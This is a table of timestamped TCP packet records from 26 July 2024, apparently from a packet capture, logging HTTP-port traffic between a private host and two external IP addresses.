Jul 26, 2024 15:24:59.369349957 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.370107889 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.370120049 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.370151043 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.370927095 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.370939016 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.370965958 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.371658087 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.371670961 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.371680975 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.371697903 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.371712923 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.372450113 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.372462034 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.372472048 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.372510910 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.372510910 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.373262882 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.373275995 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.373302937 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.373869896 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.373882055 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.373891115 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.373912096 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.373933077 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.374783993 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.374797106 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.374805927 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.374816895 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.374823093 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.374840021 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.374851942 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.375628948 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.375642061 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.375649929 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.375673056 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.375705004 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.433146954 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.433199883 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:00.166940928 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:03.178109884 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.184673071 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.184748888 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.185389996 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.190258026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.702450991 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.702474117 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.702486038 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.702533960 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.702979088 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.702991962 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.703002930 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.703145027 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.703671932 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.703685045 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.703696012 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.703722954 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.704555035 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.704606056 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.708878040 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.708978891 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.709033966 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.793906927 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.794014931 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.794027090 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.794064999 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.795078039 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.795119047 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.798960924 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.798974037 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.799021006 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.800707102 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.800719023 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.800760984 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.803694963 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.803708076 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.803750992 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.805604935 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.805617094 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.805627108 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.805650949 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.808548927 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.808562040 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.808589935 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.810497046 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.810524940 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.810551882 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.813272953 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.813286066 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.813311100 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.815242052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.815254927 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.815289974 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.818043947 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.818056107 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.818104982 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.882910013 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.883276939 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.883290052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.883327961 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.883586884 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.883630991 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.888278008 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.888294935 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.888335943 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.888911963 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.888931036 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.888967991 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.892976999 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.893009901 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.893021107 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.893050909 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.893589973 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.893601894 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.893627882 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.900391102 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.900403976 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.900443077 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.900626898 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.900640011 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.900650978 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.900672913 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.905555964 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.905569077 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.905601025 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.905905008 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.905919075 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.905946970 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.911835909 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.911849022 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.911859989 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.911871910 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.911890984 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.911920071 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.912271023 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.912282944 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.912295103 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.912322044 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.913183928 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.913197041 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.913208008 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.913259983 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.914064884 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.914077044 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.914088011 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.914099932 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.914117098 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.914129972 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.914954901 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.914968014 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.914978981 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.915005922 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.915787935 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.915800095 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.915838003 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.973917007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.974055052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.974066973 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.974119902 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.974884987 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.974895954 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.974948883 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.975560904 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.976130009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.976140022 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.976150990 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.976180077 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.976228952 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.976273060 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.976650000 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.976664066 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.976705074 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.977072001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.977082014 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.977088928 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.977132082 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.979031086 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.979043961 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.979054928 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.979065895 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.979078054 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.979088068 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.979105949 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.979105949 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.979142904 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.979955912 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.979968071 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.979979038 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.980019093 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.980648994 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.980662107 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.980673075 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.980684996 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.980699062 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.980726957 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.981380939 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.981394053 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.981405973 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.981417894 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.981426001 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.981458902 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.982235909 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.982248068 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.982259035 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.982270002 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.982307911 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.982307911 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.983198881 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.983210087 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.983221054 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.983254910 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.983604908 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.983616114 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.983625889 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.983655930 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.984199047 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.984210014 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.984252930 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.984664917 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.984688044 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.984698057 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.984734058 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.985212088 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.985224009 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.985260963 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.985661030 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.985673904 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.985685110 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.985697031 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.985716105 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.985747099 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.986644030 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.986655951 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.986666918 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.986677885 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.986710072 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.986710072 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.987603903 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.987616062 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.987626076 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.987637043 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.987648010 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.987660885 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.987695932 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.988868952 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.988881111 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.988892078 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.988903046 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.988924980 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.988956928 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.989310026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.989321947 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.989331961 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.989366055 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:03.989706039 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.989717960 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:03.989763975 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.020471096 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.020543098 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.020555019 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.020593882 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.064454079 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.064522982 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.064660072 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.064675093 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.064719915 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.064908981 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.064920902 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.064933062 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.064944983 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.064970970 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.065001011 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.065701962 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.065783978 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.065794945 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.065804958 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.065815926 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.065840960 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.065840960 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.068954945 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.068969965 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.068981886 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.068999052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069014072 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.069015980 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069014072 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.069029093 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069041014 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069051981 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069055080 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.069062948 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069081068 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.069097042 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069108963 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069113970 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.069119930 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069132090 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069148064 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.069185972 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.069514036 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069526911 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069564104 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069569111 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.069576979 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.069613934 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.084439993 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.084517002 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.084527969 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.084558010 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.084870100 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.084882021 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.084893942 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.084907055 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.084908962 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.084924936 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.085500002 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.085510969 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.085520983 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.085530996 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.085534096 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.085541010 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.085551977 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.085551977 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.085573912 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.086374998 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.086386919 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.086397886 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.086409092 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.086419106 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.086420059 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.086441994 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.087228060 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.087240934 CEST	80	49164	198.46.176.133	192.168.2.22
